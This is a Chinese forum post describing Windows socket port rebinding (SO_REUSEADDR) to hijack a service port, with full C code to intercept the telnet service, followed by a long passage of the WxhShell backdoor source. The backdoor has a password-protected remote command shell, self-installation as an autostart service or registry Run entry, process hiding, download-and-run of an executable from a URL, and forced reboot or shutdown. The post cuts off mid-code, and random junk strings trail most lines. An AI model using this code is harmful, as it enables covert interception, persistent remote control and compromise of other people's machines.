社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 16369阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 8g.AT@ ,Q  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); cJSVT8  
g;(_Y1YQ  
  saddr.sin_family = AF_INET; FT<H ]Nf  
(LRNU)vD7$  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); BSOjyy1f  
fVG$8tB  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); +O&RBEa[  
f V*}c`  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 p}96uaC1  
Y+!Ouc!$  
  这意味着什么?意味着可以进行如下的攻击: wH+FFXGJs  
g'KzdG`O0  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 >'eB2  
Z+r%_|kZ  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) :jBZK=3F>  
(QhG xuC  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 .V8/ELr]  
Xg,0/P~  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  U?JiVxE^  
s Ke,  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 mXQl;  
w'!ECm>*`  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 G(:s-x ig6  
txj wZ_p  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 @bc[ eas  
>_&~!Y.Z=  
  #include O~${&(  
  #include  CEbzJ   
  #include y>>vGU;  
  #include    qUifw @  
  DWORD WINAPI ClientThread(LPVOID lpParam);   lTx Y6vi  
  int main() @c6"RHG9  
  { c"sj)-_  
  WORD wVersionRequested; P#w}3^  
  DWORD ret; r hiS  
  WSADATA wsaData; <\E"clZI  
  BOOL val; j|&{e91,?  
  SOCKADDR_IN saddr; Vxp$#3 ;S  
  SOCKADDR_IN scaddr; 1P(%9  
  int err; J"/ JRn  
  SOCKET s; #L_@s d  
  SOCKET sc; UN-T ^  
  int caddsize; \R6;Fef  
  HANDLE mt; E}]I%fi  
  DWORD tid;   oP+kAV#]  
  wVersionRequested = MAKEWORD( 2, 2 ); TTeAa  
  err = WSAStartup( wVersionRequested, &wsaData ); X!,#'&p&  
  if ( err != 0 ) { x1.3W j  
  printf("error!WSAStartup failed!\n"); hq5NQi` %  
  return -1; ;%BhhmR)[  
  } ~!8%_J_  
  saddr.sin_family = AF_INET; _L?v6MTj  
   b^uP^](J  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 <^CYxy  
I++W0wa.n  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); xIS\4]F?r  
  saddr.sin_port = htons(23); z0T`5N G@  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) @PT`CK}  
  { qgwv=5|  
  printf("error!socket failed!\n"); "V*kOb&'*Z  
  return -1; 8|w5QvCU?3  
  } ZmEG<T05  
  val = TRUE; xP8iz?6"V  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 (:_%kmu  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) M3DxapG  
  { l4iuu  
  printf("error!setsockopt failed!\n"); W2}%zux  
  return -1; 08zi/g2 3  
  } i!CKA}",  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; &_< VZS  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 OT-n\sL$  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ."~7 \E> t  
lAdOC5+JX  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 80{#bb  
  { RnMBGxa  
  ret=GetLastError(); Vpug"aR&_  
  printf("error!bind failed!\n"); aDm-X r  
  return -1; *]{9K  
  } &,W_#l{  
  listen(s,2); D}zOuB,S  
  while(1) r!{w93rPX  
  { SRA|7g}7W  
  caddsize = sizeof(scaddr); 1Pud,!\%q  
  //接受连接请求 qWRNHUd  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); %00k1 *$  
  if(sc!=INVALID_SOCKET) Jo6~r-  
  { Ybs=W< -  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 844tXMtPB\  
  if(mt==NULL) vDu0  
  { p{A}p9sjx  
  printf("Thread Creat Failed!\n"); }4bB7,j  
  break; v\vE^|-\/  
  } qT4I Y$h  
  } [47K7~9p  
  CloseHandle(mt); ^>,< *p  
  } t x:rj6 -z  
  closesocket(s); +zFV~]b  
  WSACleanup(); , aRJ!AZ  
  return 0; r*X}3t*  
  }   jOoIF/So  
  DWORD WINAPI ClientThread(LPVOID lpParam) "| .  +L  
  { *=-__|t  
  SOCKET ss = (SOCKET)lpParam; WmT}t  
  SOCKET sc; $$2S*qY  
  unsigned char buf[4096]; pm'@2dT  
  SOCKADDR_IN saddr; QOkE\ro  
  long num; l|@/?GaH  
  DWORD val; GibggOj2Q,  
  DWORD ret; ^}i5 0SG:y  
  //如果是隐藏端口应用的话,可以在此处加一些判断 |QAeQWP+1  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   {Y3_I\H8{  
  saddr.sin_family = AF_INET; &%f]-=~  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 3b g4#c  
  saddr.sin_port = htons(23); ^DW#  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) /(hP7_]`2  
  { CX&yjT6`  
  printf("error!socket failed!\n"); eZN3H"H  
  return -1; 7]M,yIwc  
  } ?)Czl4J  
  val = 100; &xGfkCP.]  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) z:ru68  
  { egxJ3.  
  ret = GetLastError(); 8!o{W=m^4  
  return -1; +E q~X=x  
  } / K_e;(Y_  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) lRF_ k  
  { 48 c D3w  
  ret = GetLastError(); H y.3ccZ0  
  return -1; y(c|5CQ  
  } #lBpln9  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) t_dw}I   
  { ?l\gh1{C  
  printf("error!socket connect failed!\n"); %# Wg^l '  
  closesocket(sc); 5CY@R  
  closesocket(ss); YA^wUx  
  return -1; <FcPxZ  
  } *f0.=?  
  while(1) )AnlFO+V  
  { zbIwH6  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 zJG x5JC  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 .WL\:{G8;  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。  =BqaGXr  
  num = recv(ss,buf,4096,0); 5I8FD".i  
  if(num>0) X YNUss  
  send(sc,buf,num,0); |g?/~%7  
  else if(num==0) O, ``\(P  
  break; Kh:#S|   
  num = recv(sc,buf,4096,0); ;G%wc!  
  if(num>0) j$|Yd=  
  send(ss,buf,num,0); G)tq/`zNw  
  else if(num==0) E1l\~%A  
  break; g9([3pV,  
  } sl^s9kx;C$  
  closesocket(ss); %|D\j-~  
  closesocket(sc); ;G4HMtL  
  return 0 ; hdsgOu  
  } 8zCGMhd  
yNLa3mW  
X>6 ~{3  
========================================================== U<g UX07  
 z~}StCH(  
下边附上一个代码,,WXhSHELL 7+D'W7Yx  
j^aQ>(t(9  
========================================================== D)O6| DiO  
GqIvvnw@f  
#include "stdafx.h" _pH6uuB  
A5.'h<  
#include <stdio.h> (. quX@w"m  
#include <string.h> ,rH)}C<Q+  
#include <windows.h> &-8-xw#.  
#include <winsock2.h> ~P]HG;$?n  
#include <winsvc.h> qa0JQ_?o]  
#include <urlmon.h> r_g\_y7ua  
Cb@S </b  
#pragma comment (lib, "Ws2_32.lib") ohc/.5Kl  
#pragma comment (lib, "urlmon.lib") S0Bl?XsD_  
_ntW}})K  
#define MAX_USER   100 // 最大客户端连接数 I(?|Ox9"?  
#define BUF_SOCK   200 // sock buffer ziLr }/tg  
#define KEY_BUFF   255 // 输入 buffer bn*{*=(|  
8)-t91hkL  
#define REBOOT     0   // 重启 vYMbson}  
#define SHUTDOWN   1   // 关机 6XOpB^@  
XY+aunLf  
#define DEF_PORT   5000 // 监听端口 G"U>fwFuK  
2W"cTm  
#define REG_LEN     16   // 注册表键长度 AG$-U2ap  
#define SVC_LEN     80   // NT服务名长度 a_pCjG89  
llZ"uTK\M  
// 从dll定义API St7D.|  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Zm; +Ku>  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); <SC|A|  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ~kj(s>xP  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); #o r7T^  
f<> YYeY  
// wxhshell配置信息 Xg!|F[i  
struct WSCFG { $ vw}p.  
  int ws_port;         // 监听端口 V&,<,iNN  
  char ws_passstr[REG_LEN]; // 口令 5cNzG4z  
  int ws_autoins;       // 安装标记, 1=yes 0=no qh(-shZ4Du  
  char ws_regname[REG_LEN]; // 注册表键名 UwL"%0u  
  char ws_svcname[REG_LEN]; // 服务名 UB&S 2g  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 L yA(.  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 e\ l,gQP  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 S)'q:`tZo  
int ws_downexe;       // 下载执行标记, 1=yes 0=no O 44IH`SI  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" e}Af"LI  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 vZ nO  
H8t{ >C)]  
}; <E}]t,'3  
'9p5UC  
// default Wxhshell configuration mk`cyN>m  
struct WSCFG wscfg={DEF_PORT, 9Pob|UA  
    "xuhuanlingzhe", !iitx U  
    1, EkjK92cF  
    "Wxhshell", /<?X-IDz.{  
    "Wxhshell", m"|(w`n]E+  
            "WxhShell Service", 2`FsG/o\T~  
    "Wrsky Windows CmdShell Service", d T,m{[+  
    "Please Input Your Password: ", S~a:1 _Wl  
  1, WH*=81)zp  
  "http://www.wrsky.com/wxhshell.exe", X_sG6Q@  
  "Wxhshell.exe" h&k ^l,  
    }; t!=~5YgKs  
#g`cih=QL  
// 消息定义模块 kG;\i  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; G|G?h  
char *msg_ws_prompt="\n\r? for help\n\r#>"; $Z7|t  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ik:)-GV;s  
char *msg_ws_ext="\n\rExit."; 3~3(G[w  
char *msg_ws_end="\n\rQuit."; dI0>m:RBz  
char *msg_ws_boot="\n\rReboot..."; D 917[ <$  
char *msg_ws_poff="\n\rShutdown..."; pXT$Y8M  
char *msg_ws_down="\n\rSave to ";  0[!gk]p  
lRATrp#T  
char *msg_ws_err="\n\rErr!"; ^SSOh#  
char *msg_ws_ok="\n\rOK!"; CTbhwY(/  
Tk#&Ux{ZJ  
char ExeFile[MAX_PATH]; 1-]x  
int nUser = 0; nhX p_Z9  
HANDLE handles[MAX_USER]; H'h4@S  
int OsIsNt; =3v 1]7 X  
UVBw;V  
SERVICE_STATUS       serviceStatus; W$MEbf%1  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; iQ}sp64  
*6x^w%=A  
// 函数声明 |e-+xX|;  
int Install(void); SSsQu^A  
int Uninstall(void); :Ye#NPOI  
int DownloadFile(char *sURL, SOCKET wsh); 4FHX#`  
int Boot(int flag); f({-j% m  
void HideProc(void); ]I' xLh`  
int GetOsVer(void); OD/P*CQ_  
int Wxhshell(SOCKET wsl); HxqV[|}0u  
void TalkWithClient(void *cs); 7F9g:r/^  
int CmdShell(SOCKET sock); i e)1h  
int StartFromService(void); i!}nGJGg  
int StartWxhshell(LPSTR lpCmdLine); u*-<5& X  
;!Z7-OZX  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); o` 1V  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); CT:eV7<>s  
KjfKo;T  
// 数据结构和表定义 H"RF[bX(  
SERVICE_TABLE_ENTRY DispatchTable[] = `:BQ&T%UQR  
{ L"du"-  
{wscfg.ws_svcname, NTServiceMain}, ; 7v7V  
{NULL, NULL} ,;e-37^0l  
}; GoVPo'  
[[r3fEr$!p  
// 自我安装 9oxf)pjw  
int Install(void) JHh9> .1  
{ dj&m  
  char svExeFile[MAX_PATH]; >Hzb0N!VJ  
  HKEY key; t?H;iBrpxd  
  strcpy(svExeFile,ExeFile); nTy,Jml  
8YLZ)k'  
// 如果是win9x系统,修改注册表设为自启动 t5v)6|  
if(!OsIsNt) { GH+FZ (F  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;s B:s9M  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); U W)&Eky  
  RegCloseKey(key); FjLv*K[#d  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { . N} }cJq  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @NwM+^  
  RegCloseKey(key); f{5| }PL  
  return 0; SU}oKii /  
    } V #\ZS{'J  
  } j nA_!;b  
} W!0  
else { {2*l :'  
oS|~\,p"  
// 如果是NT以上系统,安装为系统服务 }~~^ZtJ\  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); )7%]<2V%  
if (schSCManager!=0) u{nWjqrM*5  
{ n6UU6t{  
  SC_HANDLE schService = CreateService uZ?CVluP  
  ( j72] _G  
  schSCManager, +P)[|y +e  
  wscfg.ws_svcname, nV xMo_  
  wscfg.ws_svcdisp, ^8*SCM_A  
  SERVICE_ALL_ACCESS, s!fY^3  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , S9#N%{8P  
  SERVICE_AUTO_START, [W;dguh  
  SERVICE_ERROR_NORMAL, Csm!\ I  
  svExeFile, F`V[G(f+r  
  NULL, qg:I+"u  
  NULL, Rf0\CEc  
  NULL, JEF7hJz~  
  NULL, YM* 6W?  
  NULL '2J6%Gg  
  ); QV7c9)<]'}  
  if (schService!=0) o@`E.4  
  { _@;3$eB  
  CloseServiceHandle(schService); XoiYtx53  
  CloseServiceHandle(schSCManager); /F}\V ^  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ?CZD^>6  
  strcat(svExeFile,wscfg.ws_svcname); 8 ]MzOGB8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { NITx;iC  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); z'D{:q  
  RegCloseKey(key); Qbpl$L  
  return 0; jh](s U  
    } e^_@^(||!6  
  } -2ij;pkIW$  
  CloseServiceHandle(schSCManager); (BQ3M-  
} s /q5o@b{  
} TdIFZ[<7  
TY[d%rMm  
return 1; GJ_)Cl+5E  
} ~@?-|xLqQ  
zXU{p\;)\  
// 自我卸载 3U.qN0]  
int Uninstall(void) "t&k{\$\  
{ 207oE O]  
  HKEY key; i/Lq2n3 )  
{,2_K6#  
if(!OsIsNt) { EAXU{dRV  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { LP6FSo~K  
  RegDeleteValue(key,wscfg.ws_regname); w>BFgb?  
  RegCloseKey(key); &u\z T P  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { RW^v{'o  
  RegDeleteValue(key,wscfg.ws_regname); CuO*>g^K[  
  RegCloseKey(key); UKQ&TV}0  
  return 0; CvWEXY_P2  
  } ?q}wl\"8  
} 3Wxtxk._E  
} :bDn.`KG#  
else { {^MAdC_  
xKzFrP;/{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); (NN14  
if (schSCManager!=0) GZVl384@  
{ 4l UE(#kUM  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Zw\V}uXI?  
  if (schService!=0) Wc>)/y5$  
  { 8"UG&wLT  
  if(DeleteService(schService)!=0) { koY8=lh/  
  CloseServiceHandle(schService); q0Lt[*q3R  
  CloseServiceHandle(schSCManager); o(NyOC  
  return 0; "Am0.c/  
  } +p6\R;_E  
  CloseServiceHandle(schService); hdqls0 r  
  } wO)KQ~yX  
  CloseServiceHandle(schSCManager); Qf(e'e  
}  AlaN;  
} JP*mQzZL  
Xb]?/7 X  
return 1; { (,vm}iFL  
} dk`!UtNNRa  
j|dzd<kE6  
// 从指定url下载文件 IqKXFORiNI  
int DownloadFile(char *sURL, SOCKET wsh) pv SFp-:_  
{ !Y(qpC:$  
  HRESULT hr; ;]x5;b9`  
char seps[]= "/"; Qs X59d  
char *token; 3Dvk oV  
char *file; svjFy/T(lL  
char myURL[MAX_PATH]; .: ;Hh~  
char myFILE[MAX_PATH]; e"mfJY  
K"$ky,tU  
strcpy(myURL,sURL); 'X<uG x  
  token=strtok(myURL,seps); me^Gk/`Em  
  while(token!=NULL) <r3n?w8  
  { H,` XCG  
    file=token; `~TGVa`D  
  token=strtok(NULL,seps); tah%jRfT&  
  } =Fl4tY#X  
wh+ibH}@!  
GetCurrentDirectory(MAX_PATH,myFILE); gdNp2b  
strcat(myFILE, "\\"); Gn4b\y%%  
strcat(myFILE, file); :#jv4N  
  send(wsh,myFILE,strlen(myFILE),0); .cog9H'  
send(wsh,"...",3,0); 'p]qN;`'O$  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 0\*<k`dY  
  if(hr==S_OK) %$ ?Q%  
return 0; d's`~HOU2  
else *3Z#r  
return 1; tTp`e0L*m  
XhV"<&v  
} O#Hz5 A5  
!iOu07<n&D  
// 系统电源模块  +@7R,8  
int Boot(int flag) EA#!h'-s  
{ &r!>2$B\  
  HANDLE hToken; (oEA)yc|  
  TOKEN_PRIVILEGES tkp; (9|K}IM:  
^IkMRlJh%  
  if(OsIsNt) { S @($c'  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); yo6IY  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 7}.(EZ0  
    tkp.PrivilegeCount = 1; YWFHiB7x  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; f+AIxSw  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 2GS2,  
if(flag==REBOOT) { 0M-AIQ5  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) [~S0b  
  return 0; t]%R4ymV  
} HX*U2<^  
else { 3$;v# P$%N  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) hJN A%  
  return 0; ohk =7d.'  
} f` J"A:  
  } -.{7;6:(k  
  else { ')RK(I  
if(flag==REBOOT) { 8;3FTF  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ^o:5B%}#[  
  return 0; >UH=]$0N  
} +?tNly`  
else { <{kj}nxz  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) J1t?Qj;f3  
  return 0; *n5g";k|  
} `<G+ N  
} 2eYkWHi  
li^E$9oWC  
return 1; wE2?/wb  
} ,fFJSY^  
z[OEg HI  
// win9x进程隐藏模块 e(A&VIp  
void HideProc(void) BJ/%{ C`g  
{ cG6+'=]3<  
\v Go5`  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 4+:u2&I  
  if ( hKernel != NULL ) pUx@QyrI  
  { C?k4<B7V  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); m^KkS   
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ?zqXHv#x  
    FreeLibrary(hKernel); Gr?gHAT  
  } P6rL;_~e  
S)?B  I  
return; m`aUz}Y>c  
} p9J(,}  
l[Oxf|  
// 获取操作系统版本 X3vrD{uNU  
int GetOsVer(void) `h#JDcT;a  
{  .~']gih#  
  OSVERSIONINFO winfo; 2e &Zs%u  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); mi?Fy0\  
  GetVersionEx(&winfo); s!Vtw p9  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) V,}cDT>  
  return 1; uIBV1Qz  
  else lM]7@A  
  return 0; :+n7oOV  
} 5Jp>2d  
M Cz3RZK  
// 客户端句柄模块 k9 E ?5  
int Wxhshell(SOCKET wsl) ruVm8 BO  
{ K\PS$  
  SOCKET wsh; EBm\rM8  
  struct sockaddr_in client; Zzs pE}  
  DWORD myID; TkykI  
0vEa]ljS  
  while(nUser<MAX_USER) {S c1!2q  
{ ~QXNOtVsN  
  int nSize=sizeof(client); l8Ox]%F  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); p /:L;5F  
  if(wsh==INVALID_SOCKET) return 1; ;2^=#7I?  
_G42|lA$/  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); #PGExN3e  
if(handles[nUser]==0) ^`$KN0PY  
  closesocket(wsh); 4*]`s|fbu  
else ;lldxS  
  nUser++; >:Ec   
  } -J:vYhq|g  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); &o(? }W  
%3cBh v[q4  
  return 0; :iJ= 9  
} <W1!n$V ]  
hH~Z hB  
// 关闭 socket 7)YU ;  
void CloseIt(SOCKET wsh) quR':=S5f  
{ ;a|A1DmZ  
closesocket(wsh); -95 `.o  
nUser--; 'ga@=;Wj  
ExitThread(0); KMv|;yXYj4  
} iJAW| dw}  
^,50]uX_  
// 客户端请求句柄 @/~41\=e  
void TalkWithClient(void *cs) qe0@tKim  
{ {=kA8U  
ITTC}  
  SOCKET wsh=(SOCKET)cs; !&X}? NK  
  char pwd[SVC_LEN]; L/shF}<  
  char cmd[KEY_BUFF]; +] uY  
char chr[1]; a)xN(xp##  
int i,j; ,PnEDQ|l  
l\bBc, %jt  
  while (nUser < MAX_USER) { zOcMc{w0   
/bVI'fT  
if(wscfg.ws_passstr) { }'3V(;9  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); WZ ZD  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2>mDT  
  //ZeroMemory(pwd,KEY_BUFF); = hpX2/]  
      i=0; v/)dsSNZ0u  
  while(i<SVC_LEN) { ){/y-ixH  
WW&0FugY_  
  // 设置超时 ~k&b3-A}  
  fd_set FdRead; x;N?'"GP  
  struct timeval TimeOut; N$. ''D?7D  
  FD_ZERO(&FdRead); edch'H^2+P  
  FD_SET(wsh,&FdRead); n '&WIf3  
  TimeOut.tv_sec=8; joa$Y6  
  TimeOut.tv_usec=0; h/X),aK3  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); aJ2-BRn  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); *`\>J.  
j1g^Q$B>m  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); y|X[NSA  
  pwd=chr[0]; 7XZ!UC;i  
  if(chr[0]==0xd || chr[0]==0xa) { PR Y)hb;1  
  pwd=0; |_-FQ~Hf F  
  break; `XTu$+  
  } 3)=$BSC%  
  i++; D[<8(~VP  
    } !j- 7,  
>:s:`Au  
  // 如果是非法用户,关闭 socket Qf"gH <vT  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); <K)^MLgN  
} fO9e ;  
^ c:(HUo#  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Hkpn/,D5  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); U,/>p=s  
yNO5h]o  
while(1) { Y40{v(Pi  
>%xJ e'  
  ZeroMemory(cmd,KEY_BUFF); J^u8d?>r  
[ %r :V"  
      // 自动支持客户端 telnet标准   b-wFnMXk+  
  j=0; D:%v((Ccw  
  while(j<KEY_BUFF) { DS^PHk39  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); hD;[}8qN{  
  cmd[j]=chr[0]; |d8/ZD  
  if(chr[0]==0xa || chr[0]==0xd) { 2/I^:*e  
  cmd[j]=0; Pb!kl #  
  break; &a O3N  
  } #[2]B8NZ  
  j++; <pz;G}  
    } $U<xrN>O  
,Xao{o(  
  // 下载文件 CfAX,f"ZP  
  if(strstr(cmd,"http://")) { I#m5Tl|#  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); NoV2<m$  
  if(DownloadFile(cmd,wsh)) 4"0`J  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); poeKY[].  
  else 0,,x|g$TpT  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N[czraFBD}  
  } c 8#A^q}  
  else { W0X?"Ms|a  
5`0tG;  
    switch(cmd[0]) { ]^"*Fdn  
  i9_ZK/*  
  // 帮助 :o=[Zp~B4d  
  case '?': { C";F's)  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); |nB2X;K5~  
    break; \DpXs[1  
  } 8hGp?Ihu  
  // 安装 ) =sm{R%T  
  case 'i': { z6$W@-Vd  
    if(Install()) [|e7oNT(Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {p+7QlgK  
    else Ly lw('zZ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C;M.dd  
    break; nxCwg>  
    } rk{DrbRx  
  // 卸载 <1>\?$)D  
  case 'r': { Uk5jZ|  
    if(Uninstall()) )9,9yd~SI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); GAV|x]R  
    else /`3< @{D  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j $a,93P5  
    break; Ar N*9  
    } a6fMx~  
  // 显示 wxhshell 所在路径 8v_HIx0xu  
  case 'p': { \_qiUvPf\  
    char svExeFile[MAX_PATH]; k~h'`(  
    strcpy(svExeFile,"\n\r"); A2!7a}*1(  
      strcat(svExeFile,ExeFile); \-gZ_>)  
        send(wsh,svExeFile,strlen(svExeFile),0); 1W;q(#q  
    break; `A])4q$  
    } j!xt&t4D  
  // 重启 1 f).J  
  case 'b': { Q&rpW:^v  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 5Jlz$]f  
    if(Boot(REBOOT)) tUH#%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y]Td+ Zi  
    else { +2 !F6"hP  
    closesocket(wsh); Tt<Ry'Z$3  
    ExitThread(0); :VX?j 3qW  
    } 1 ^TOTY  
